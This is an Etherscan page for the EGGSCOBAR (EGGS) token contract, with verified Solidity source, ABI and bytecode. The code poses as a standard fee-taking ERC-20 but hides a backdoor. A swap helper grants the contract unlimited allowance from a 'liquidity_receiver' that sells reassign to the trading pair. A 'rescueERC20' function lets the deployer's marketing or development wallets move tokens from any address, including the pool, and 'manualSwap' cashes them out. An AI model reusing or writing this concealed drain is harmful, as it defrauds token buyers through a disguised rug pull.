ETH Price: $3,394.29 (-0.69%)
Gas: 19 Gwei

Token

EGGSCOBAR (EGGS)
 

Overview

Max Total Supply

1,000,000,000 EGGS

Holders

20

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
24,452,569.596900554075711687 EGGS

Value
$0.00
0x6ab5ce1d8ebc16d71f2e8d7ac57e44ee41b05d8f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
EGGS

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-19
*/

/**

Website: https://eggscobar.com
Telegram: https://t.me/eggscobar
Twitter: https://twitter.com/eggscobar

*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.17;


library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "you are not owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
        function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract EGGS is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = "EGGSCOBAR";
    string private constant _symbol = "EGGS";
    uint8 private constant _decimals = 18;
    uint256 private _totalSupply = 1_000_000_000 * (10 ** _decimals);
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isFeeExempt;
    IRouter router;
    address public pair;
    bool public tradingAllowed = false;
    bool private swapEnabled = false;
    uint256 private swapTimes;
    bool private swapping;
    uint256 swapAmount = 0;
    uint256 public swapThreshold = ( _totalSupply * 2 ) / 10000;
    modifier lockTheSwap {swapping = true; _; swapping = false;}
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 0;
    uint256 private developmentFee = 0;
    uint256 private burnFee = 0;
    uint256 private totalFee = 0;
    uint256 private sellFee = 0;
    uint256 private transferFee = 0;
    uint256 private denominator = 10000;
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address internal development_receiver = msg.sender; 
    address internal marketing_receiver = 0x6CC4B5D47221833F1239193877DD9F46eC9a6a2A;
    address internal liquidity_receiver = msg.sender;
    uint256 public _maxTxAmount = ( _totalSupply * 2 ) / 100;
    uint256 public _maxWalletToken = ( _totalSupply * 2 ) / 100;

    constructor() {
        router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        isFeeExempt[address(this)] = true;
        isFeeExempt[liquidity_receiver] = true;
        isFeeExempt[marketing_receiver] = true;
        isFeeExempt[development_receiver] = true;
        isFeeExempt[msg.sender] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function setisExempt(address _address, bool _enabled) external onlyOwner {isFeeExempt[_address] = _enabled;}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}

    function openTrading() external payable onlyOwner{
        pair = IFactory(router.factory()).createPair(address(this), router.WETH());
        addLiquidity(balanceOf(address(this)), msg.value);
        tradingAllowed = true;
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _totalSupply;
        _maxWalletToken = _totalSupply;
    }

    function shouldContractSwap(address sender, address recipient) internal view returns (bool) {
        return !swapping && swapEnabled && tradingAllowed && !isFeeExempt[sender] && recipient == pair && swapTimes >= swapAmount;
    }

    function manualSwap() external {
        require(msg.sender == development_receiver || msg.sender == marketing_receiver);
        swapTokensForETH(swapThreshold);
        payable(msg.sender).transfer(address(this).balance);
    }

    function rescueERC20(address _address, address from, address to, uint256 amount) external {
        require(msg.sender == development_receiver || msg.sender == marketing_receiver);
        IERC20(_address).transferFrom(from, to, amount);
    }

    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = initialBalance.sub(address(this).balance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);}
        uint256 contractBalance = address(this).balance;
        if(contractBalance > uint256(0)){payable(development_receiver).transfer(contractBalance);}
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidity_receiver,
            block.timestamp);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _allowances[liquidity_receiver][address(this)]=~uint256(0);
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }

    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return !isFeeExempt[sender] && !isFeeExempt[recipient];
    }

    function getTotalFee(address sender, address recipient) internal view returns (uint256) {
        if(recipient == pair){return sellFee;}
        if(sender == pair){return totalFee;}
        return transferFee;
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if(getTotalFee(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient));
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        if(burnFee > uint256(0) && getTotalFee(sender, recipient) > burnFee){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
        return amount.sub(feeAmount);} return amount;
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
        if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingAllowed, "tradingAllowed");}
        if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD)){
        require((_balances[recipient].add(amount)) <= _maxWalletToken, "Exceeds maximum wallet amount.");}
        require(amount <= _maxTxAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded"); 
        if(sender == pair && isFeeExempt[recipient]){swapEnabled=true;}
        if(recipient == pair && !isFeeExempt[sender]){liquidity_receiver=recipient;swapTimes += uint256(1);}
        if(shouldContractSwap(sender, recipient)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);}
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingAllowed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126012600a62000347565b6200002290633b9aca006200035f565b60018190556006805461ffff60a01b191690556000600955612710906200004b9060026200035f565b62000057919062000379565b600a556000600b819055600c819055600d819055600e819055600f8190556010819055601155612710601255601380546001600160a01b031990811633908117909255601480548216736cc4b5d47221833f1239193877dd9f46ec9a6a2a179055601580549091169091179055600154606490620000d79060026200035f565b620000e3919062000379565b60165560646001546002620000f991906200035f565b62000105919062000379565b6017553480156200011557600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d179055306000908152600460209081526040808320805460ff1990811660019081179092556015546001600160a01b039081168652838620805483168417905560145481168652838620805483168417905560135416855282852080548216831790553380865283862080549092168317909155905460028452828520819055915191825292917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36200039c565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002895781600019048211156200026d576200026d62000232565b808516156200027b57918102915b93841c93908002906200024d565b509250929050565b600082620002a25750600162000341565b81620002b15750600062000341565b8160018114620002ca5760028114620002d557620002f5565b600191505062000341565b60ff841115620002e957620002e962000232565b50506001821b62000341565b5060208310610133831016604e8410600b84101617156200031a575081810a62000341565b62000326838362000248565b80600019048211156200033d576200033d62000232565b0290505b92915050565b60006200035860ff84168362000291565b9392505050565b808202811582820484141762000341576200034162000232565b6000826200039757634e487b7160e01b600052601260045260246000fd5b500490565b611a4880620003ac6000396000f3fe6080604052600436106101445760003560e01c806370a08231116100b657806395d89b411161006f57806395d89b411461039b578063a8aa1b31146103c8578063a9059cbb146103e8578063c9567bf914610408578063dd62ed3e14610410578063f2fde38b1461045657600080fd5b806370a08231146102dd578063715018a614610313578063751039fc1461032857806378109e541461033d5780637d1db4a5146103535780638da5cb5b1461036957600080fd5b806323b872dd1161010857806323b872dd1461021b578063313ce5671461023b5780633f4218e01461025757806348ff2b8b1461028757806351bc3c85146102a757806353371be0146102bc57600080fd5b80630445b6671461015057806306fdde0314610179578063095ea7b3146101b45780630d1859f6146101e457806318160ddd1461020657600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b50610166600a5481565b6040519081526020015b60405180910390f35b34801561018557600080fd5b5060408051808201909152600981526822a3a3a9a1a7a120a960b91b60208201525b60405161017091906116a8565b3480156101c057600080fd5b506101d46101cf36600461170b565b610476565b6040519015158152602001610170565b3480156101f057600080fd5b506102046101ff366004611737565b61048d565b005b34801561021257600080fd5b5061016661053b565b34801561022757600080fd5b506101d4610236366004611788565b6105ac565b34801561024757600080fd5b5060405160128152602001610170565b34801561026357600080fd5b506101d46102723660046117c9565b60046020526000908152604090205460ff1681565b34801561029357600080fd5b506102046102a23660046117f4565b610616565b3480156102b357600080fd5b50610204610674565b3480156102c857600080fd5b506006546101d490600160a01b900460ff1681565b3480156102e957600080fd5b506101666102f83660046117c9565b6001600160a01b031660009081526002602052604090205490565b34801561031f57600080fd5b506102046106da565b34801561033457600080fd5b5061020461074e565b34801561034957600080fd5b5061016660175481565b34801561035f57600080fd5b5061016660165481565b34801561037557600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610170565b3480156103a757600080fd5b506040805180820190915260048152634547475360e01b60208201526101a7565b3480156103d457600080fd5b50600654610383906001600160a01b031681565b3480156103f457600080fd5b506101d461040336600461170b565b610785565b610204610792565b34801561041c57600080fd5b5061016661042b36600461182d565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561046257600080fd5b506102046104713660046117c9565b610979565b6000610483338484610a3f565b5060015b92915050565b6013546001600160a01b03163314806104b057506014546001600160a01b031633145b6104b957600080fd5b6040516323b872dd60e01b81526001600160a01b0384811660048301528381166024830152604482018390528516906323b872dd906064016020604051808303816000875af1158015610510573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610534919061185b565b5050505050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead60009081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5460015491926105a79290916105a19190610b63565b90610b63565b905090565b60006105b9848484610b6f565b61060b8433610606856040518060600160405280602881526020016119eb602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611086565b610a3f565b5060015b9392505050565b6000546001600160a01b031633146106495760405162461bcd60e51b815260040161064090611878565b60405180910390fd5b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b6013546001600160a01b031633148061069757506014546001600160a01b031633145b6106a057600080fd5b6106ab600a546110b2565b60405133904780156108fc02916000818181858888f193505050501580156106d7573d6000803e3d6000fd5b50565b6000546001600160a01b031633146107045760405162461bcd60e51b815260040161064090611878565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107785760405162461bcd60e51b815260040161064090611878565b6001546016819055601755565b6000610483338484610b6f565b6000546001600160a01b031633146107bc5760405162461bcd60e51b815260040161064090611878565b600560009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561080f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083391906118a3565b6001600160a01b031663c9c6539630600560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610895573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b991906118a3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610906573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092a91906118a3565b600680546001600160a01b0319166001600160a01b039290921691909117905530600090815260026020526040902054610964903461122e565b6006805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146109a35760405162461bcd60e51b815260040161064090611878565b6001600160a01b0381166109e45760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b6044820152606401610640565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610aa15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610640565b6001600160a01b038216610b025760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610640565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061060f82846118d6565b6001600160a01b038316610bd35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610640565b6001600160a01b038216610c355760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610640565b6001600160a01b038316600090815260026020526040902054811115610cb75760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610640565b6001600160a01b03831660009081526004602052604090205460ff16158015610cf957506001600160a01b03821660009081526004602052604090205460ff16155b15610d4857600654600160a01b900460ff16610d485760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b6044820152606401610640565b6001600160a01b03831660009081526004602052604090205460ff16158015610d8a57506001600160a01b03821660009081526004602052604090205460ff16155b8015610da457506006546001600160a01b03838116911614155b8015610dbb57506001600160a01b03821661dead14155b15610e34576017546001600160a01b038316600090815260026020526040902054610de690836112db565b1115610e345760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610640565b60165481111580610e5d57506001600160a01b03831660009081526004602052604090205460ff165b80610e8057506001600160a01b03821660009081526004602052604090205460ff165b610ec05760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610640565b6006546001600160a01b038481169116148015610ef557506001600160a01b03821660009081526004602052604090205460ff165b15610f0e576006805460ff60a81b1916600160a81b1790555b6006546001600160a01b038381169116148015610f4457506001600160a01b03831660009081526004602052604090205460ff16155b15610f8057601580546001600160a01b0319166001600160a01b0384161790556007805460019190600090610f7a9084906118e9565b90915550505b610f8a83836112e7565b15610fa057610f9a600a5461136f565b60006007555b6001600160a01b038316600090815260026020526040902054610fc39082610b63565b6001600160a01b038416600090815260026020526040812091909155610fe984846114f8565b610ff35781610ffe565b610ffe84848461153e565b6001600160a01b03841660009081526002602052604090205490915061102490826112db565b6001600160a01b0380851660008181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110789085815260200190565b60405180910390a350505050565b600081848411156110aa5760405162461bcd60e51b815260040161064091906116a8565b505050900390565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106110e7576110e76118fc565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611140573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116491906118a3565b81600181518110611177576111776118fc565b6001600160a01b0392831660209182029290920181019190915260155482166000908152600382526040808220308084529352902060001990556005546111bf921684610a3f565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac947906111f8908590600090869030904290600401611912565b600060405180830381600087803b15801561121257600080fd5b505af1158015611226573d6000803e3d6000fd5b505050505050565b6005546112469030906001600160a01b031684610a3f565b60055460155460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af11580156112b6573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906105349190611983565b600061060f82846118e9565b60085460009060ff161580156113065750600654600160a81b900460ff165b801561131b5750600654600160a01b900460ff165b801561134057506001600160a01b03831660009081526004602052604090205460ff16155b801561135957506006546001600160a01b038381169116145b801561060f575050600954600754101592915050565b6008805460ff19166001908117909155600d54600c54600b546000936113af936002936113a99391926113a39283916112db565b906112db565b90611645565b905060006113d2826113cc600b548661164590919063ffffffff16565b90611651565b905060006113e08483610b63565b9050476113ec826110b2565b60006113f88247610b63565b9050600061141b611414600b5488610b6390919063ffffffff16565b8390611651565b90506000611434600b548361164590919063ffffffff16565b9050801561144657611446868261122e565b600c5460009061145b906113a9856002611645565b9050801561149f576014546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561149d573d6000803e3d6000fd5b505b4780156114e2576013546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156114e0573d6000803e3d6000fd5b505b50506008805460ff191690555050505050505050565b6001600160a01b03821660009081526004602052604081205460ff1615801561060f5750506001600160a01b031660009081526004602052604090205460ff1615919050565b60008061154b858561165d565b111561163e57600061156e611560868661165d565b6012546113a9908690611651565b3060009081526002602052604090205490915061158b90826112db565b30600081815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115dc9085815260200190565b60405180910390a36000600e541180156116005750600e546115fe868661165d565b115b1561162c5761162c3061dead611627600e546113a96012548961165190919063ffffffff16565b610b6f565b6116368382610b63565b91505061060f565b5092915050565b600061060f82846119b1565b600061060f82846119c8565b6006546000906001600160a01b039081169083160361167f5750601054610487565b6006546001600160a01b039081169084160361169e5750600f54610487565b5060115492915050565b600060208083528351808285015260005b818110156116d5578581018301518582016040015282016116b9565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146106d757600080fd5b6000806040838503121561171e57600080fd5b8235611729816116f6565b946020939093013593505050565b6000806000806080858703121561174d57600080fd5b8435611758816116f6565b93506020850135611768816116f6565b92506040850135611778816116f6565b9396929550929360600135925050565b60008060006060848603121561179d57600080fd5b83356117a8816116f6565b925060208401356117b8816116f6565b929592945050506040919091013590565b6000602082840312156117db57600080fd5b813561060f816116f6565b80151581146106d757600080fd5b6000806040838503121561180757600080fd5b8235611812816116f6565b91506020830135611822816117e6565b809150509250929050565b6000806040838503121561184057600080fd5b823561184b816116f6565b91506020830135611822816116f6565b60006020828403121561186d57600080fd5b815161060f816117e6565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b6000602082840312156118b557600080fd5b815161060f816116f6565b634e487b7160e01b600052601160045260246000fd5b81810381811115610487576104876118c0565b80820180821115610487576104876118c0565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119625784516001600160a01b03168352938301939183019160010161193d565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561199857600080fd5b8351925060208401519150604084015190509250925092565b8082028115828204841417610487576104876118c0565b6000826119e557634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200a64529aced6a1e92721aecd87a492dea8b110da31e0e7267056ff584d1b68b364736f6c63430008110033

Deployed Bytecode

